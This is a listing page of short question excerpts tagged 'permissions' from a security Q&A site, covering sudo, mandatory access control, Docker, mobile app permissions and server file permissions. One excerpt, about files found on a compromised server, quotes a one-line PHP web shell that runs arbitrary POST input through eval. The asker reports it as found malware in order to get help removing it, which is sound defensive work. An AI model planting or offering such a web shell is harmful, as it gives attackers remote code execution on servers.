2022 Developer Survey is open! Take survey.

Questions tagged [permissions]

Access control based on user, group, or global access.

Filter by
Sorted by
Tagged with
7 votes
2 answers
1k views

/opt and sudo unzip to /opt, is it safe?

Usually we place things in /opt so they are owned by root but normal users can execute them. This prevents normal users modifying the binaries so they cannot execute arbitrary stuff. However, to put ...
user avatar
0 votes
1 answer
42 views

unknown (malicious?) code and file in public dir (Laravel 5.8, apache/cPanel) [duplicate]

I have a Laravel 5.8 app in a server running Apache/2.4.53 (cPanel) and PHP 7.4 (ea-php74) and i have VPS root WHM/cPanel access there. as any Laravel project, the "public" directory is web ...
user avatar
1 vote
1 answer
73 views

Security difference between changing permissions versus using sudo to execute

If there is a program written by a normal user that requires root privileges (eg. a program that interacts with root processes) what is the difference between running this program using sudo vs. ...
user avatar
1 vote
0 answers
76 views

Clarification on log4j Service Requirements [duplicate]

We're currently trying to prioritize our mitigations for CVE-2021-44228. The obvious priority is to deal with any Internet facing java (apache?) applications that use a vulnerable log4j library and\or ...
user avatar
0 votes
0 answers
75 views

How should SQL Server users be managed for a multi-tenant application?

I've looked extensively for a duplicate question, but I couldn't find anything that answers this question exactly. I have a SQL Server that will be used to store data for a multi-tenant application. ...
user avatar
0 votes
1 answer
99 views

Storage access permissions before initial unlock upon startup

How do Android devices (at least all the non-enterprise personal devices I remember owning) display the wallpaper (usually chosen from the 'downloads' folder) on the lock screen when it first is ...
user avatar
0 votes
1 answer
137 views

What happens when app have access to your photos?

These days I see many apps request access to photos on iPhone. I understand app request access to photos to iOS which then request access to me, that sounds ok. In that context I can allow access to ...
user avatar
  • 141
1 vote
0 answers
229 views

Actual Meaning of Google Drive App Permissions?

I'm trying to understand what the permissions granted to a Google Drive connected app actually mean. The example I'm looking at is MindMup 2 For Google Drive, but it could be almost any as the ...
user avatar
  • 111
0 votes
0 answers
97 views

Secure Registry Keys

Is it possible to restrict access to the registry keys, just like Microsoft does on some of the keys(ex. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend)? I was able to get a similar ...
user avatar
1 vote
1 answer
234 views

Secure way to run a linux binary which needs access to ressources only available to root?

As a developer, I ask how to approach security concerns regarding permissions of a binary which needs access to resources only available to root users. For example, let's think of a simple tool which ...
user avatar
  • 111
1 vote
1 answer
106 views

Does adding a randomized string in S3 file path has equal security to Google Drive shared link

I would like to use an AWS S3 bucket to store my IoT firmware file and allows all of my IoT devices to access it to update the firmware to the latest version. I want that the firmware file in the S3 ...
user avatar
9 votes
2 answers
2k views

How is MAC useful?

I know what mandatory access control (MAC) is, but I don't see how it helps. Often it seems to be said that if you have something like SELinux or AppArmor enabled you are magically more secure. And ...
user avatar
1 vote
0 answers
104 views

What would be the logical approach in breaking down the following scenario in regard to CISSP Domains?

I'm currently doing my Cyber Security Certification program, I along with my fellow classmates are in Beginner stages. Over the past few weeks we have been writing up variety of Discussions using ...
user avatar
64 votes
1 answer
9k views

Why don't video conferencing web applications ask permission for screen sharing?

I am using Chrome 87 with Jitsi Meet 2.0, but I have noticed this behavior too with other setups. When I first enter a room, Chrome asks for the following permissions: Even if I click "Block&...
user avatar
4 votes
1 answer
373 views

Privilege escalation writing /etc/passwd but without SUID permission on su

This is not an exercise, there might be no solution. We are producing a Docker image (based on CentOS) which is designed to be executed by a non-root user. However, this user has write access to /etc/...
user avatar
  • 41
1 vote
2 answers
178 views

Unusual file permissions on WordPress websites

I've been asked by a customer of mine, to manage a few hundred WordPress sites. Doing an initial security assessment, I've found that every site (350 sites) has unusual file permissions on every php ...
user avatar
3 votes
1 answer
594 views

Is homebrew's change of usr/local/bin to r/w a security issue?

I've been reading online that homebrew changing usr/local/bin to r/w could pose a serious security issue as usr/bin is the path after usr/local/bin. Article found here: https://applehelpwriter.com/...
user avatar
2 votes
2 answers
356 views

Linux whitelist-based Mandatory Access Control instead of a blacklist-based model

I'm trying to harden a Linux installation on a personal computer - I decided to try both SELinux and AppArmor as a Mandatory Access Control (MAC) to supplement the default Discretionary Access Control ...
user avatar
0 votes
1 answer
1k views

Is my Android phone camera hacked?

I suddenly see a strange thing when developing my Flutter application. My application that I'm developing is not asking for permissions, it does not need any permissions. But when I debug the app in ...
user avatar
0 votes
1 answer
143 views

Why does the server generate a random challenge for SSH authentication?

Wouldn't it be more efficient if the client initiated the connection by generating their own message, and encrypting it using their private key, then sending both messages to the server so it would ...
user avatar
2 votes
1 answer
162 views

reading a file with other read permissions set

For this question assume a file with 604 perms in a directory with 700 permissions. Assume this file exists: /test/file A non-root user can techincally read that file but in practice to read it the ...
user avatar
  • 133
0 votes
0 answers
34 views

.php code in .txt file with eval() function [duplicate]

I have found three files with name as below: a.phpfile.txt b.phpfile.txt c.phpfile.txt when i open, each file contained with the following code: <?php @eval($_POST[x]); I have deleted all ...
user avatar
1 vote
1 answer
276 views

Properly granting restrictive administrative privileges to developers on a production server [closed]

I am a business owner with a strong technical background, say a programmer, though not an advanced system administrator. I've bought a VPS server where I want to host several applications and webpages....
user avatar
  • 11
29 votes
5 answers
4k views

What are the potential vulnerabilities of allowing non-root users to run apt-get?

There are two ways I can think of doing this: On a system with sudo, by modifying /etc/sudoers. On a system without sudo (such as a Docker environment), by writing a program similar to the below and ...
user avatar
  • 401
3 votes
1 answer
210 views

Run docker as not sudoers

I have on my ubuntu instance a group of non-sudoers ("deploy" group). In order, to enable them to use docker I have to change the permission of "/var/run/docker.sock" file to chgrp deploy /var/run/...
user avatar
0 votes
1 answer
175 views

How to secure user folders on the server from the scripts running in other user folder on the same server?

I have a VPS. There is a web-application running on this VPS. A user can log into his account, create a project (the system automatically creates a folder for this project) and then, he can create and ...
user avatar
  • 13
47 votes
2 answers
12k views

Claim that Skype is an unconfined application able to access all one's own personal files and system resources

Situation I was about to install Skype on a laptop driven by Ubuntu 18.04 LTS Desktop. The software installation helper graciously informs me that Skype is unconfined. It can access all your personal ...
user avatar
2 votes
2 answers
210 views

Is it possible to set permissions on a per application basis?

I wold like to set permissions on a per application basis, permissions like: Creation of sockets Creation of sub-process If an application creates a sub-process child processes should inherit the ...
user avatar
5 votes
1 answer
360 views

Is it possible to use WeChat (Weixin) more safely in recent versions of Android by using permissions?

I assume that anything written or read on WeChat is read by the government of the People's Republic of China. I understand the risks of that. However, I would like to understand the implications of ...
user avatar
  • 172
3 votes
0 answers
135 views

Under what conditions can malware bypass macOS Catalina's permission system? [closed]

Catalina has some new security features which include System Preferences > Security & Privacy features, which requires apps to request access to specific computer functionality such as camera, ...
user avatar
1 vote
1 answer
130 views

Is there any reason why PHP files require write permissions?

Is there any reason why PHP files would require write access? (Excluding directories that need to be writable) I'm installing Magento via composer. They recommend the following permissions: cd /var/...
user avatar
0 votes
1 answer
109 views

Can a file be extracted from a folder with only execute permissions?

(Debian GNU/Linux) If a user only has execute +x access to a folder they can still cd and traverse into the folder but can't use many other commands that would read the contents of the folder or ...
user avatar
  • 3
1 vote
0 answers
101 views

Will this SFTP setup successfully keep users from accessing other areas of the filesystem?

If the access is secured; users are chrooted in their home directory, and other security basics, how difficult is it for users to access other data on the server? Dedicated server Linux CentOS ftp ...
user avatar
  • 121
7 votes
1 answer
492 views

Was granting myself this permission a security risk?

In a PowerShell script in Windows 10 Pro 64, I'm getting access-denied errors on several folders, such as: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content....
user avatar
  • 173
64 votes
6 answers
10k views

Is 2FA via mobile phone still a good idea when phones are the most exposed device?

Everyone knows that two factors are better than one. My problem is that often the only second factor allowed is text messages sent to your mobile phone. This creates two concerns: I travel frequently ...
user avatar
4 votes
2 answers
581 views

How to design an Access Control system that is quick to implement and understand, yet maintainable and flexible enough?

We're currently redesigning our access control system for our SaaS startup (over the past two years it has grown alongside the business and decided to clean it up at this point). The access control ...
user avatar
  • 41
1 vote
0 answers
88 views

How do you lock down a users access to ODBC settings in Windows 10?

I was working with a users computer yesterday because they complained that an MS-Access Database they were using said that an ODBC datasource was not accessible. I went to change the settings on the ...
user avatar
  • 1,237
1 vote
0 answers
67 views

Securing multiple systems accessing the same data

I'm hitting a roadblock when it comes to security for managing scoped permissions for servers. Right now I run a community which can create sub-servers. So community A can allow certain users to ...
user avatar
2 votes
3 answers
917 views

Can an app access location services when I turn off location services?

An app I'm using requires me to grant it the permission to track my location, which I grant. But, if I manually toggle off the device's location service (for example in the settings or the drop down ...
user avatar
  • 375
0 votes
3 answers
146 views

Is it safe to protect the write permission only with a publicly accessible hashed password?

A user stores a raw information (a comment on a website, a like on a post etc.) in a database. He pairs it with a hashed password and keep the original password safely for him/herself. This password ...
user avatar
  • 101
0 votes
0 answers
154 views

Identifying Share Permission and File Permission on Hundreds of Servers

Objective Identify and report on Windows hosts in the network which allow file/folder access (READ/WRITE/Execute) for Everyone. Scenario: Using agent based scanner, I extracted share permissions ...
user avatar
  • 185
1 vote
1 answer
311 views

Securing IPC between kernel and user-mode application

We are currently developing a security software for Windows. This application consists of a service running in user mode and a driver in kernel mode. These two need to communicate, so that the service ...
user avatar
1 vote
2 answers
149 views

Is it ok to allow a web application to write its own executable files?

Usually I setup my Ubuntu server to have at least 2 users: A user behalf which the web server (Apache or Nginx) runs, e.g. www-data in group www-data A user that updates and maintains the web ...
user avatar
  • 111
39 votes
8 answers
12k views

How can I prevent a user from copying files to another hard drive?

I have a Linux machine that contains sensitive files. Users should be able to access (read) them when they are using the computer, but should not be able to copy them to another hard drive (USB stick ...
user avatar
2 votes
1 answer
132 views

Amazon Web Services ELB has permission to change DNS records by default?

I'm creating an ECS (Elastic Container Service) service on AWS. For that service, I need to supply an application load balancer. The default role for it is the following: AWSServiceRoleForECS. When I ...
user avatar
0 votes
1 answer
255 views

Risk associated with problematic linux permissions on files and libraries

I started tweaking my linux system a while ago, before I understood the security risks related to having files with problematic permissions, such as 777. I wanted to check if I had left some ...
user avatar
1 vote
1 answer
272 views

Using SUID program to avoid having entries in sudoers

Well, I've done a lot of reading and documentation around possible exploitation of sudoers files and SUID programs, but don't have a deep enough knowledge to pick up the wisest possible solution for ...
user avatar
4 votes
1 answer
4k views

Handling User Permissions Between Front-end and Back-end

We are trying to come up with a permissions/security implementation on our MongoDB backend/Angular front-end environment that accomplishes what we need it to, without being over-bearing or too ...
user avatar
  • 171
1 vote
2 answers
304 views

Doubt on Android permissions mapping with UIDs/GIDs

Reading the book: Android Security Internals I'm reading at Chapter 2 - Permission Management paragraph that permissions are assigned to application at install time by the packet manager with a ...
user avatar
  • 125
0 votes
0 answers
84 views

can't find mapping of "android.permission.INTERNET" permission to famous methods which should use it

I was trying to evaluate effective permissions usage of an apk using axplorer mapping files. During evaluation I obtained an effective use of the android.permission.INTERNET permission equal to 0. ...
user avatar
  • 125

1
2 3 4 5